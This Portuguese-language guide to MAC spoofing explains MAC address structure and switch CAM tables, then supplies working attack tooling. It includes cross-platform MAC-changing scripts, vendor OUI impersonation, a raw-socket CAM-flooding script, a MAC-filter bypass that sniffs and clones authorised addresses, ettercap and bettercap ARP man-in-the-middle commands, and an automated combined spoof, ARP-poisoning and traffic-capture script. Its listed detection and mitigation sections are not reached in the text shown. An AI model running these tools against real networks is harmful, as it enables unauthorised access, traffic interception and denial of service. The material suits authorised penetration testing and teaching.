# MAC Spoofing

## **📋 Índice**

1. [Fundamentos do MAC Address](#-fundamentos-do-mac-address)
2. [Mecanismos do MAC Spoofing](#-mecanismos-do-mac-spoofing)
3. [Arquitetura e Funcionamento](#-arquitetura-e-funcionamento)
4. [Técnicas de Spoofing](#-técnicas-de-spoofing)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Impacto e Consequências](#-impacto-e-consequências)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigações e Controles](#-mitigações-e-controles)
9. [Pentesting com MAC Spoofing](#-pentesting-com-mac-spoofing)
10. [Cenários Avançados](#-cenários-avançados)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do MAC Address**

### **O que é MAC Address?**

O **Media Access Control Address (MAC Address)** é um identificador único atribuído a interfaces de rede (NICs) no nível de hardware. Composto por 48 bits (6 bytes), é usado na camada de enlace (Layer 2) do modelo OSI para identificar dispositivos em uma rede local. O MAC address é teoricamente único e gravado em hardware, mas pode ser alterado via software.

### **Estrutura do MAC Address**

```python
#!/usr/bin/env python3
# mac_structure.py - Estrutura e análise do MAC address

import re
import random

class MACStructure:
    """Análise da estrutura do MAC address"""
    
    # OUI (Organizationally Unique Identifier) - Fabricantes conhecidos
    OUI_DATABASE = {
        '00:00:0C': 'Cisco Systems',
        '00:01:02': 'IBM',
        '00:01:03': 'Apple',
        '00:04:75': 'Juniper Networks',
        '00:0C:29': 'VMware',
        '00:14:22': 'Dell',
        '00:15:5D': 'Microsoft Hyper-V',
        '00:17:A4': 'Samsung',
        '00:18:F3': 'Intel',
        '00:1A:2B': 'Huawei',
        '00:1B:21': 'Nokia',
        '00:1C:42': 'Cisco Meraki',
        '00:1D:7E': 'Arista Networks',
        '00:1F:3A': 'Atheros',
        '00:21:5A': 'HP',
        '00:22:19': 'Dell',
        '00:24:36': 'Cisco Systems',
        '00:25:90': 'Alcatel-Lucent',
        '00:26:82': 'ZyXEL',
        '00:50:56': 'VMware',
        '08:00:27': 'Oracle VirtualBox',
        '28:C6:8E': 'Raspberry Pi',
        '90:2E:16': 'Sony',
        'AC:84:C6': 'Ubiquiti',
        'B8:27:EB': 'Raspberry Pi',
        'CC:2D:21': 'TP-Link',
        'D4:3D:7E': 'Asus',
        'E8:94:F6': 'Netgear',
        'F4:8E:38': 'Intel',
        'FC:AA:14': 'Google',
    }
    
    @staticmethod
    def parse_mac(mac):
        """Parsear MAC address para diferentes formatos"""
        # Remover separadores comuns
        mac_clean = re.sub(r'[-:.]', '', mac.upper())
        
        if len(mac_clean) != 12:
            return None
        
        formats = {
            'colon': ':'.join(mac_clean[i:i+2] for i in range(0, 12, 2)),
            'hyphen': '-'.join(mac_clean[i:i+2] for i in range(0, 12, 2)),
            'dot': '.'.join(mac_clean[i:i+4] for i in range(0, 12, 4)),
            'ciscodot': '.'.join(mac_clean[i:i+4] for i in range(0, 12, 4)),
            'bare': mac_clean
        }
        
        # Identificar OUI (primeiros 6 caracteres)
        oui = mac_clean[:6]
        oui_formatted = ':'.join(oui[i:i+2] for i in range(0, 6, 2))
        
        # Identificar fabricante
        manufacturer = MACStructure.OUI_DATABASE.get(oui_formatted, 'Desconhecido')
        
        # Verificar se é multicast/broadcast
        first_byte = int(mac_clean[:2], 16)
        is_multicast = (first_byte & 0x01) == 1
        is_broadcast = mac_clean == 'FFFFFFFFFFFF'
        is_locally_administered = (first_byte & 0x02) == 2
        
        return {
            'original': mac,
            'formats': formats,
            'oui': oui_formatted,
            'manufacturer': manufacturer,
            'is_multicast': is_multicast,
            'is_broadcast': is_broadcast,
            'is_locally_administered': is_locally_administered
        }
    
    @staticmethod
    def generate_random_mac(locally_administered=True, multicast=False):
        """Gerar MAC address aleatório"""
        # Primeiro byte
        first_byte = random.randint(0, 255)
        
        if locally_administered:
            first_byte = (first_byte & 0xFC) | 0x02  # Bit U/L = 1
        if multicast:
            first_byte = (first_byte & 0xFE) | 0x01  # Bit I/G = 1
        else:
            first_byte = first_byte & 0xFE  # Bit I/G = 0
        
        # Gerar bytes restantes
        mac_bytes = [first_byte] + [random.randint(0, 255) for _ in range(5)]
        
        mac = ':'.join(f'{b:02x}' for b in mac_bytes)
        return mac
    
    @staticmethod
    def get_oui_from_mac(mac):
        """Obter fabricante a partir do MAC"""
        parsed = MACStructure.parse_mac(mac)
        return parsed['manufacturer'] if parsed else 'Desconhecido'

# Exemplo
print("🔍 Análise de MAC Address")
print("=" * 50)

mac = "08:00:27:AB:CD:EF"
parsed = MACStructure.parse_mac(mac)
print(f"MAC: {parsed['original']}")
print(f"Formatos: {parsed['formats']}")
print(f"OUI: {parsed['oui']}")
print(f"Fabricante: {parsed['manufacturer']}")
print(f"Locally Administered: {parsed['is_locally_administered']}")

print("\n🎲 MAC Aleatório:")
random_mac = MACStructure.generate_random_mac()
print(f"  {random_mac} → {MACStructure.get_oui_from_mac(random_mac)}")
```

### **Características do MAC Address**

| Característica           | Descrição                                       | Implicação de Segurança          |
| ------------------------ | ----------------------------------------------- | -------------------------------- |
| **Unicidade Teórica**    | Cada NIC tem MAC único globalmente              | Spoofing quebra unicidade        |
| **Camada 2**             | Opera na camada de enlace                       | Não roteável além da rede local  |
| **Hardware vs Software** | Gravado em hardware, mas alterável via software | Facilidade para spoofing         |
| **Broadcast/Multicast**  | Bits específicos indicam tipo                   | Permite identificação de tráfego |
| **OUI**                  | Primeiros 3 bytes identificam fabricante        | Fingerprinting de dispositivos   |

### **Posição no Modelo OSI**

```mermaid
graph TD
    subgraph "Camada 3 - Rede"
        IP[Endereço IP]
    end
    
    subgraph "Camada 2 - Enlace"
        MAC[Endereço MAC]
        ARP[ARP - Resolução IP → MAC]
        SWITCH[Switching]
    end
    
    subgraph "Camada 1 - Física"
        PHY[Meio Físico]
    end
    
    IP --> ARP
    ARP --> MAC
    MAC --> SWITCH
    SWITCH --> PHY
    
    style MAC fill:#ffcc99,stroke:#333,stroke-width:2px
```

***

## ⚔️ **Mecanismos do MAC Spoofing**

### **O que é MAC Spoofing?**

**MAC Spoofing** é a técnica de alterar o endereço MAC de uma interface de rede para um valor diferente do original gravado em hardware. Isso permite que um atacante se faça passar por outro dispositivo na rede, contorne controles de acesso baseados em MAC ou evite monitoramento.

### **Fluxo do Ataque MAC Spoofing**

```mermaid
sequenceDiagram
    participant A as Atacante<br/>MAC Real: CC:CC
    participant V as Vítima<br/>MAC: AA:AA
    participant S as Switch
    participant G as Gateway
    
    Note over A: FASE 1: Spoofing
    A->>A: Altera MAC para AA:AA
    
    Note over S: FASE 2: Atualização da tabela CAM
    A->>S: Pacote com MAC AA:AA
    S->>S: Tabela CAM atualizada<br/>Porta do atacante ← MAC AA:AA
    
    Note over S,V: FASE 3: Redirecionamento
    G->>S: Pacote para AA:AA
    S->>A: Encaminha para atacante
    
    Note over V: Vítima perde conectividade
    V->>S: Pacote com MAC AA:AA
    S->>A: Tráfego vai para atacante
    
    Note over A: MITM ou DoS
```

### **Tipos de MAC Spoofing**

```python
#!/usr/bin/env python3
# mac_spoofing_types.py - Tipos de MAC spoofing

class MACSpoofingTypes:
    """Classificação dos tipos de ataque MAC spoofing"""
    
    @staticmethod
    def identity_spoofing(target_mac):
        """Spoofing de identidade - assumir MAC de outro dispositivo"""
        print(f"🎭 Identity Spoofing: Assumindo MAC {target_mac}")
        print("   Objetivo: Bypass de autenticação baseada em MAC")
        print("   Impacto: Acesso não autorizado à rede")
    
    @staticmethod
    def cam_table_poisoning(target_mac):
        """Envenenamento de tabela CAM - MAC flooding"""
        print(f"💉 CAM Table Poisoning: Flooding com MACs aleatórios")
        print("   Objetivo: Overwhelming da tabela CAM do switch")
        print("   Impacto: Switch entra em modo hub (fail-open)")
    
    @staticmethod
    def mitm_arp_spoofing(target_mac):
        """MITM via MAC spoofing combinado com ARP"""
        print(f"🔄 MITM: Spoofing MAC para interceptação")
        print("   Objetivo: Interceptar tráfego entre dispositivos")
        print("   Impacto: Captura de dados, roubo de credenciais")
    
    @staticmethod
    def evasion_spoofing():
        """Evasion - trocar MAC para evitar rastreamento"""
        print(f"🕵️ Evasion Spoofing: Alteração contínua de MAC")
        print("   Objetivo: Evitar monitoramento e rastreamento")
        print("   Impacto: Dificulta identificação do atacante")
    
    @staticmethod
    def vendor_impersonation(target_oui):
        """Impersonação de fabricante - usar OUI de fabricante conhecido"""
        print(f"🏭 Vendor Impersonation: Usando OUI {target_oui}")
        print("   Objetivo: Parecer dispositivo legítimo")
        print("   Impacto: Bypass de whitelists por fabricante")

# Exemplo
MACSpoofingTypes.identity_spoofing("AA:BB:CC:DD:EE:FF")
MACSpoofingTypes.cam_table_poisoning("AA:BB:CC:DD:EE:FF")
MACSpoofingTypes.mitm_arp_spoofing("AA:BB:CC:DD:EE:FF")
```

***

## 🏗️ **Arquitetura e Funcionamento**

### **Como o Switch Gerencia MACs**

```python
#!/usr/bin/env python3
# switch_cam_table.py - Simulação da tabela CAM do switch

import time
from collections import OrderedDict

class CAMTable:
    """Simulação da tabela CAM (Content Addressable Memory) de um switch"""
    
    def __init__(self, aging_time=300):
        self.table = OrderedDict()  # {mac: (port, timestamp)}
        self.aging_time = aging_time
        self.fail_open = False
    
    def learn_mac(self, mac, port):
        """Aprender MAC em uma porta"""
        current_time = time.time()
        self.table[mac] = (port, current_time)
        print(f"📝 CAM: Aprendido {mac} → Porta {port}")
    
    def forward_packet(self, mac):
        """Determinar porta para encaminhar pacote"""
        current_time = time.time()
        
        # Limpar entradas expiradas
        self._clean_expired()
        
        if mac in self.table:
            port, _ = self.table[mac]
            return port
        elif self.fail_open:
            # Modo hub - flood para todas as portas
            return "FLOOD"
        else:
            # Desconhecido - flood
            return "FLOOD"
    
    def _clean_expired(self):
        """Remover entradas expiradas"""
        current_time = time.time()
        expired = []
        
        for mac, (port, timestamp) in self.table.items():
            if current_time - timestamp > self.aging_time:
                expired.append(mac)
        
        for mac in expired:
            del self.table[mac]
            print(f"🗑️  CAM: Expirado {mac}")
    
    def mac_flood_attack(self, count=1000):
        """Simular MAC flooding attack"""
        print(f"💥 Iniciando MAC Flooding com {count} MACs")
        
        for i in range(count):
            # Gerar MAC aleatório
            mac = f"{i:012x}"
            mac = ':'.join(mac[j:j+2] for j in range(0, 12, 2))
            
            # Aprender MAC na porta do atacante
            self.learn_mac(mac, 5)
        
        # Verificar se a tabela está cheia
        if len(self.table) > 500:
            print(f"⚠️  Tabela CAM lotada! {len(self.table)} entradas")
            self.fail_open = True
            print("🔓 Switch entrando em modo hub (fail-open)")
        
        return self.fail_open
    
    def get_stats(self):
        """Obter estatísticas da tabela CAM"""
        return {
            'entries': len(self.table),
            'fail_open': self.fail_open,
            'oldest_entry': min(self.table.values(), key=lambda x: x[1])[1] if self.table else None
        }

# Simulação
cam = CAMTable(aging_time=30)
print("🔄 Simulação de Switch com Tabela CAM")
print("=" * 50)

# Aprendizado normal
cam.learn_mac("AA:BB:CC:DD:EE:11", 1)
cam.learn_mac("AA:BB:CC:DD:EE:22", 2)
cam.learn_mac("AA:BB:CC:DD:EE:33", 3)

print(f"\nEncaminhamento:")
print(f"  MAC AA:BB:CC:DD:EE:11 → Porta {cam.forward_packet('AA:BB:CC:DD:EE:11')}")
print(f"  MAC desconhecido → {cam.forward_packet('FF:FF:FF:FF:FF:FF')}")

print(f"\n📊 Estatísticas: {cam.get_stats()}")

# Simular MAC flooding
print("\n" + "=" * 50)
cam.mac_flood_attack(1000)
print(f"\n📊 Pós-flood: {cam.get_stats()}")
```

### **Implementação de MAC Spoofing em Python**

```python
#!/usr/bin/env python3
# mac_spoofing_impl.py - Implementação de MAC spoofing

import subprocess
import platform
import re
import time
import sys

class MACSpoofer:
    """Ferramenta para alterar MAC address em diferentes sistemas"""
    
    def __init__(self, interface='eth0'):
        self.interface = interface
        self.system = platform.system()
        self.original_mac = self.get_current_mac()
    
    def get_current_mac(self):
        """Obter MAC atual da interface"""
        try:
            if self.system == 'Linux':
                result = subprocess.run(
                    ['ip', 'link', 'show', self.interface],
                    capture_output=True, text=True
                )
                match = re.search(r'link/ether ([0-9a-f:]{17})', result.stdout)
                if match:
                    return match.group(1)
            
            elif self.system == 'Windows':
                result = subprocess.run(
                    ['ipconfig', '/all'], capture_output=True, text=True
                )
                # Buscar pela interface específica
                pattern = rf'{self.interface}.*?Physical Address.*?([0-9A-F-]{{17}})'
                match = re.search(pattern, result.stdout, re.DOTALL | re.IGNORECASE)
                if match:
                    return match.group(1).replace('-', ':')
            
            elif self.system == 'Darwin':  # macOS
                result = subprocess.run(
                    ['ifconfig', self.interface], capture_output=True, text=True
                )
                match = re.search(r'ether ([0-9a-f:]{17})', result.stdout)
                if match:
                    return match.group(1)
            
            return None
            
        except Exception as e:
            print(f"❌ Erro ao obter MAC: {e}")
            return None
    
    def set_mac(self, new_mac):
        """Alterar MAC address da interface"""
        print(f"🔄 Alterando MAC de {self.interface}")
        print(f"   Original: {self.original_mac}")
        print(f"   Novo: {new_mac}")
        
        try:
            if self.system == 'Linux':
                # Desativar interface
                subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'down'], 
                              capture_output=True)
                # Alterar MAC
                subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'address', new_mac],
                              capture_output=True)
                # Reativar interface
                subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'up'],
                              capture_output=True)
                
            elif self.system == 'Windows':
                # Windows requer desabilitar/habilitar adaptador
                subprocess.run(['netsh', 'interface', 'set', 'interface', self.interface, 'disable'],
                              capture_output=True)
                # Alterar MAC no registro
                subprocess.run(['reg', 'add', f'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Class\\{{4d36e972-e325-11ce-bfc1-08002be10318}}\\0001',
                               '/v', 'NetworkAddress', '/t', 'REG_SZ', '/d', new_mac.replace(':', ''), '/f'],
                              capture_output=True)
                subprocess.run(['netsh', 'interface', 'set', 'interface', self.interface, 'enable'],
                              capture_output=True)
            
            elif self.system == 'Darwin':
                # macOS
                subprocess.run(['sudo', 'ifconfig', self.interface, 'down'], capture_output=True)
                subprocess.run(['sudo', 'ifconfig', self.interface, 'lladdr', new_mac], capture_output=True)
                subprocess.run(['sudo', 'ifconfig', self.interface, 'up'], capture_output=True)
            
            # Verificar alteração
            time.sleep(1)
            new_current = self.get_current_mac()
            
            if new_current and new_current.lower() == new_mac.lower():
                print(f"✅ MAC alterado com sucesso para {new_current}")
                return True
            else:
                print(f"⚠️  MAC atual: {new_current} (esperado: {new_mac})")
                return False
                
        except Exception as e:
            print(f"❌ Erro ao alterar MAC: {e}")
            return False
    
    def restore_mac(self):
        """Restaurar MAC original"""
        if self.original_mac:
            print(f"🔄 Restaurando MAC original: {self.original_mac}")
            return self.set_mac(self.original_mac)
        return False
    
    def random_mac(self, preserve_oui=False, oui=None):
        """Gerar MAC aleatório"""
        import random
        
        if preserve_oui and self.original_mac:
            # Preservar OUI original
            oui = self.original_mac[:8]  # Primeiros 3 bytes
            suffix = f"{random.randint(0, 0xFFFFFF):06x}"
            return f"{oui}:{suffix[:2]}:{suffix[2:4]}:{suffix[4:6]}"
        
        elif oui:
            # Usar OUI específico
            suffix = f"{random.randint(0, 0xFFFFFF):06x}"
            return f"{oui}:{suffix[:2]}:{suffix[2:4]}:{suffix[4:6]}"
        
        else:
            # MAC completamente aleatório com bit local
            first_byte = random.randint(0, 255) | 0x02  # Bit U/L = 1
            rest = [random.randint(0, 255) for _ in range(5)]
            return ':'.join(f'{b:02x}' for b in [first_byte] + rest)
    
    def spoof_loop(self, interval=60, count=None):
        """Loop de spoofing contínuo"""
        print(f"🔄 Iniciando loop de MAC spoofing (intervalo {interval}s)")
        
        iterations = 0
        try:
            while count is None or iterations < count:
                new_mac = self.random_mac()
                self.set_mac(new_mac)
                iterations += 1
                print(f"   Iteração {iterations}: MAC = {new_mac}")
                time.sleep(interval)
                
        except KeyboardInterrupt:
            print("\n🛑 Loop interrompido")
        
        self.restore_mac()

# Uso (requer privilégios de root)
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: mac_spoofing_impl.py <interface> [new_mac]")
        print("Exemplo: mac_spoofing_impl.py eth0 00:11:22:33:44:55")
        sys.exit(1)
    
    spoofer = MACSpoofer(sys.argv[1])
    
    if len(sys.argv) > 2:
        spoofer.set_mac(sys.argv[2])
    else:
        new_mac = spoofer.random_mac()
        spoofer.set_mac(new_mac)
```

***

## 🔧 **Técnicas de Spoofing**

### **Técnica 1: MAC Spoofing Básico**

```bash
# Linux - Alterar MAC temporariamente
sudo ip link set eth0 down
sudo ip link set eth0 address 00:11:22:33:44:55
sudo ip link set eth0 up

# Verificar
ip link show eth0

# Linux - Usando macchanger
sudo macchanger -m 00:11:22:33:44:55 eth0
sudo macchanger -r eth0  # MAC aleatório
sudo macchanger -a eth0  # MAC aleatório com OUI válido

# Windows - via PowerShell
Get-NetAdapter -Name "Ethernet" | Set-NetAdapter -MacAddress "00-11-22-33-44-55"
Restart-NetAdapter -Name "Ethernet"

# macOS
sudo ifconfig en0 down
sudo ifconfig en0 lladdr 00:11:22:33:44:55
sudo ifconfig en0 up
```

### **Técnica 2: MAC Spoofing com Spoofing de OUI**

```python
#!/usr/bin/env python3
# oui_spoofing.py - Spoofing de OUI de fabricantes

import random
import subprocess
import sys

class OUISpoofing:
    """Spoofing de OUI para parecer dispositivo de fabricante específico"""
    
    # OUI de fabricantes comuns
    OUI_LIST = {
        'cisco': '00:00:0C',
        'vmware': '00:0C:29',
        'microsoft_hyperv': '00:15:5D',
        'intel': '00:18:F3',
        'dell': '00:14:22',
        'hp': '00:21:5A',
        'apple': '00:01:03',
        'google': 'FC:AA:14',
        'raspberry_pi': 'B8:27:EB',
        'ubiquiti': 'AC:84:C6',
        'tplink': 'CC:2D:21',
        'asus': 'D4:3D:7E',
        'netgear': 'E8:94:F6'
    }
    
    @staticmethod
    def generate_mac_with_oui(vendor):
        """Gerar MAC com OUI de fabricante específico"""
        if vendor not in OUISpoofing.OUI_LIST:
            return None
        
        oui = OUISpoofing.OUI_LIST[vendor]
        suffix = f"{random.randint(0, 0xFFFFFF):06x}"
        mac = f"{oui}:{suffix[:2]}:{suffix[2:4]}:{suffix[4:6]}"
        return mac
    
    @staticmethod
    def spoof_vendor(interface, vendor):
        """Spoof MAC para parecer de fabricante específico"""
        new_mac = OUISpoofing.generate_mac_with_oui(vendor)
        
        if new_mac:
            print(f"🎭 Spoofing MAC para {vendor.upper()}")
            print(f"   Novo MAC: {new_mac}")
            
            # Aplicar MAC
            subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'down'], capture_output=True)
            subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'address', new_mac], capture_output=True)
            subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'up'], capture_output=True)
            
            return new_mac
        return None
    
    @staticmethod
    def random_vendor_spoof(interface):
        """Spoof para fabricante aleatório"""
        vendor = random.choice(list(OUISpoofing.OUI_LIST.keys()))
        return OUISpoofing.spoof_vendor(interface, vendor)

# Exemplo
spoofer = OUISpoofing()
print("🎭 OUI Spoofing - Opções disponíveis:")
for vendor in spoofer.OUI_LIST.keys():
    print(f"   {vendor}: {spoofer.OUI_LIST[vendor]}")

# Para uso real:
# spoofer.spoof_vendor('eth0', 'cisco')
```

### **Técnica 3: MAC Flooding (CAM Table Overflow)**

```python
#!/usr/bin/env python3
# mac_flooding.py - Ataque de flooding de MAC (CAM overflow)

import socket
import struct
import time
import sys
import threading

class MACFlooding:
    """Ataque de MAC flooding para overflow de tabela CAM"""
    
    def __init__(self, interface='eth0', count=10000):
        self.interface = interface
        self.count = count
        self.sock = None
        self.running = True
    
    def _create_ethernet_frame(self, src_mac, dst_mac, payload=b'\x00' * 100):
        """Criar frame Ethernet com MAC forjado"""
        # Ethernet header
        dst_bytes = bytes.fromhex(dst_mac.replace(':', ''))
        src_bytes = bytes.fromhex(src_mac.replace(':', ''))
        eth_type = b'\x08\x00'  # IPv4
        
        return dst_bytes + src_bytes + eth_type + payload
    
    def _random_mac(self):
        """Gerar MAC aleatório"""
        import random
        return ':'.join(f'{random.randint(0, 255):02x}' for _ in range(6))
    
    def flood(self):
        """Executar flooding de MACs"""
        print(f"💥 Iniciando MAC Flooding Attack")
        print(f"   Interface: {self.interface}")
        print(f"   MACs únicos: {self.count}")
        print("   Objetivo: Overflow da tabela CAM do switch")
        
        try:
            # Criar socket raw
            self.sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
            self.sock.bind((self.interface, 0))
            
            # MAC de destino (broadcast para garantir aprendizado)
            dst_mac = "FF:FF:FF:FF:FF:FF"
            
            sent = 0
            while self.running and sent < self.count:
                # Gerar MAC aleatório
                src_mac = self._random_mac()
                
                # Criar frame
                frame = self._create_ethernet_frame(src_mac, dst_mac)
                
                # Enviar
                self.sock.send(frame)
                sent += 1
                
                if sent % 1000 == 0:
                    print(f"   {sent} frames enviados")
                
                # Pequeno delay para não sobrecarregar
                time.sleep(0.0001)
            
            print(f"✅ {sent} frames enviados com MACs únicos")
            print(f"⚠️  Switch pode estar em modo hub (fail-open)")
            
        except PermissionError:
            print("❌ É necessário privilégios de root")
        except Exception as e:
            print(f"❌ Erro: {e}")
        finally:
            if self.sock:
                self.sock.close()
    
    def stop(self):
        """Parar flooding"""
        self.running = False

# Uso
# flooder = MACFlooding('eth0', count=5000)
# flooder.flood()
```

### **Técnica 4: Bypass de Filtros MAC**

```python
#!/usr/bin/env python3
# mac_bypass.py - Bypass de filtros baseados em MAC

import subprocess
import re
import time

class MACBypass:
    """Técnicas para bypass de controles baseados em MAC"""
    
    @staticmethod
    def discover_valid_macs(interface='eth0', timeout=30):
        """Descobrir MACs válidos na rede (autorizados)"""
        print(f"🔍 Descobrindo MACs válidos na rede")
        
        try:
            # Capturar tráfego e extrair MACs
            result = subprocess.run(
                ['timeout', str(timeout), 'tcpdump', '-i', interface, '-n', '-e', '-c', '100'],
                capture_output=True, text=True
            )
            
            macs = set()
            # Extrair MACs de origem/destino
            for line in result.stdout.split('\n'):
                # Formato: "xx:xx:xx:xx:xx:xx > yy:yy:yy:yy:yy:yy"
                matches = re.findall(r'([0-9a-f:]{17})', line)
                for mac in matches:
                    macs.add(mac)
            
            print(f"✅ {len(macs)} MACs únicos encontrados")
            for mac in list(macs)[:10]:
                print(f"   {mac}")
            
            return list(macs)
            
        except Exception as e:
            print(f"❌ Erro: {e}")
            return []
    
    @staticmethod
    def spoof_valid_mac(interface, target_mac):
        """Spoofar MAC de dispositivo autorizado"""
        print(f"🎭 Spoofando MAC autorizado: {target_mac}")
        
        try:
            subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'down'], capture_output=True)
            subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'address', target_mac], capture_output=True)
            subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'up'], capture_output=True)
            
            # Verificar
            result = subprocess.run(['ip', 'link', 'show', interface], capture_output=True, text=True)
            if target_mac in result.stdout:
                print(f"✅ MAC alterado para {target_mac}")
                return True
            
        except Exception as e:
            print(f"❌ Erro: {e}")
        
        return False
    
    @staticmethod
    def vendor_whitelist_bypass(interface):
        """Bypass de whitelist baseada em fabricante"""
        # Spoofar MAC de fabricante comum (Cisco, VMware, etc.)
        vendors = ['cisco', 'vmware', 'intel', 'dell']
        import random
        
        from oui_spoofing import OUISpoofing
        spoofer = OUISpoofing()
        
        vendor = random.choice(vendors)
        return spoofer.spoof_vendor(interface, vendor)

# Uso
bypass = MACBypass()
valid_macs = bypass.discover_valid_macs('eth0', timeout=10)

if valid_macs:
    bypass.spoof_valid_mac('eth0', valid_macs[0])
```

***

## 🛠️ **Ferramentas de Exploração**

### **Ferramentas CLI**

```bash
# macchanger - Ferramenta completa para spoofing
sudo macchanger --show eth0                    # Mostrar MAC atual
sudo macchanger -m 00:11:22:33:44:55 eth0      # Definir MAC específico
sudo macchanger -r eth0                        # MAC aleatório
sudo macchanger -a eth0                        # MAC aleatório com OUI válido
sudo macchanger -A eth0                        # MAC aleatório com OUI de fabricante
sudo macchanger -l | grep Cisco                # Listar OUIs por fabricante

# ifconfig/ip
sudo ip link set eth0 down
sudo ip link set eth0 address 00:11:22:33:44:55
sudo ip link set eth0 up

# arp-scan para descoberta de MACs
sudo arp-scan --localnet

# nmap para descoberta
sudo nmap -sn 192.168.1.0/24

# ettercap para MITM
sudo ettercap -T -M arp:remote -i eth0 /192.168.1.1// /192.168.1.10//

# bettercap para spoofing
sudo bettercap -eval "set arp.spoof.targets 192.168.1.10; arp.spoof on; net.sniff on"
```

### **Script Automatizado de Ataque**

```python
#!/usr/bin/env python3
# mac_attack_automated.py - Ataque combinado MAC spoofing

import subprocess
import time
import threading
import sys

class MACAttackAutomated:
    """Ataque automatizado combinado com MAC spoofing"""
    
    def __init__(self, interface='eth0', target_ip=None):
        self.interface = interface
        self.target_ip = target_ip
        self.gateway = self._get_gateway()
        self.processes = []
        self.running = True
    
    def _get_gateway(self):
        """Obter gateway padrão"""
        try:
            result = subprocess.run(['ip', 'route', 'show', 'default'], 
                                    capture_output=True, text=True)
            return result.stdout.split()[2]
        except:
            return None
    
    def random_mac(self):
        """Gerar MAC aleatório"""
        import random
        return ':'.join(f'{random.randint(0, 255):02x}' for _ in range(6))
    
    def spoof_mac_loop(self, interval=60):
        """Loop de spoofing de MAC"""
        print(f"🔄 Iniciando loop de MAC spoofing (intervalo {interval}s)")
        
        while self.running:
            new_mac = self.random_mac()
            
            # Aplicar MAC
            subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'down'], 
                          capture_output=True)
            subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'address', new_mac],
                          capture_output=True)
            subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'up'],
                          capture_output=True)
            
            print(f"   Novo MAC: {new_mac}")
            time.sleep(interval)
    
    def start_arp_spoof(self):
        """Iniciar ARP spoofing"""
        if not self.target_ip or not self.gateway:
            return
        
        print(f"📡 Iniciando ARP spoofing entre {self.target_ip} e {self.gateway}")
        
        cmd1 = f"arpspoof -i {self.interface} -t {self.target_ip} {self.gateway}"
        cmd2 = f"arpspoof -i {self.interface} -t {self.gateway} {self.target_ip}"
        
        proc1 = subprocess.Popen(cmd1.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        proc2 = subprocess.Popen(cmd2.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        
        self.processes.extend([proc1, proc2])
    
    def start_sniffing(self):
        """Iniciar captura de tráfego"""
        print(f"📡 Iniciando captura de tráfego")
        
        output_file = f"capture_{int(time.time())}.pcap"
        cmd = f"tcpdump -i {self.interface} -w {output_file}"
        
        proc = subprocess.Popen(cmd.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        self.processes.append(proc)
        print(f"   Captura salva em {output_file}")
    
    def start_mac_flood(self, count=5000):
        """Iniciar MAC flooding"""
        print(f"💥 Iniciando MAC flooding com {count} MACs")
        
        # Thread separada para flooding
        def flood():
            from mac_flooding import MACFlooding
            flooder = MACFlooding(self.interface, count)
            flooder.flood()
        
        threading.Thread(target=flood, daemon=True).start()
    
    def start(self, modules=['spoof', 'sniff'], spoof_interval=60):
        """Iniciar ataque combinado"""
        print(f"🚨 Iniciando Ataque MAC Spoofing Automatizado")
        print(f"   Interface: {self.interface}")
        print(f"   Gateway: {self.gateway}")
        if self.target_ip:
            print(f"   Alvo: {self.target_ip}")
        print(f"   Módulos: {', '.join(modules)}")
        print("=" * 60)
        
        try:
            # MAC spoofing loop
            if 'spoof' in modules:
                spoof_thread = threading.Thread(target=self.spoof_mac_loop, 
                                               args=(spoof_interval,))
                spoof_thread.daemon = True
                spoof_thread.start()
            
            # ARP spoofing
            if 'arp' in modules and self.target_ip:
                self.start_arp_spoof()
            
            # Sniffing
            if 'sniff' in modules:
                self.start_sniffing()
            
            # MAC flooding
            if 'flood' in modules:
                self.start_mac_flood()
            
            print("\n⏳ Ataque em execução... Pressione Ctrl+C para parar")
            
            while self.running:
                time.sleep(1)
                
        except KeyboardInterrupt:
            self.stop()
    
    def stop(self):
        """Parar todos os ataques"""
        print("\n🛑 Parando ataque...")
        self.running = False
        
        for proc in self.processes:
            proc.terminate()
        
        # Restaurar MAC original (aproximado)
        subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'down'], capture_output=True)
        subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'address', '00:00:00:00:00:00'], 
                      capture_output=True)
        subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'up'], capture_output=True)
        
        print("✅ Ataque parado")

# Uso
if len(sys.argv) > 1:
    attack = MACAttackAutomated(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else None)
    attack.start(modules=['spoof', 'sniff'], spoof_interval=30)
else:
    print("Uso: mac_attack_automated.py <interface> [target_ip]")
```

***

## 💥 **Impacto e Consequências**

### **Matriz de Impacto**

```yaml
Impacto de Ataques MAC Spoofing:

  🔴 CRÍTICO:
    - Bypass completo de controles de acesso (802.1X, MAC filtering)
    - Sequestro de sessões de dispositivos críticos
    - Interrupção de serviços por flooding de MAC
    - Comprometimento de switches (fail-open)
    - Acesso a redes seguras sem autenticação

  🟠 ALTO:
    - Interceptação de tráfego (MITM)
    - Evasão de monitoramento de rede
    - Impersonação de dispositivos autorizados
    - Roubo de identidade de rede

  🟡 MÉDIO:
    - Interrupção temporária de conectividade
    - Confusão em logs de segurança
    - Dificuldade de rastreamento

  🔵 BAIXO:
    - Conflitos de MAC na rede
    - Degradação de performance de switch
```

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[MAC Spoofing] --> B[Bypass de Controles]
    A --> C[Interceptação]
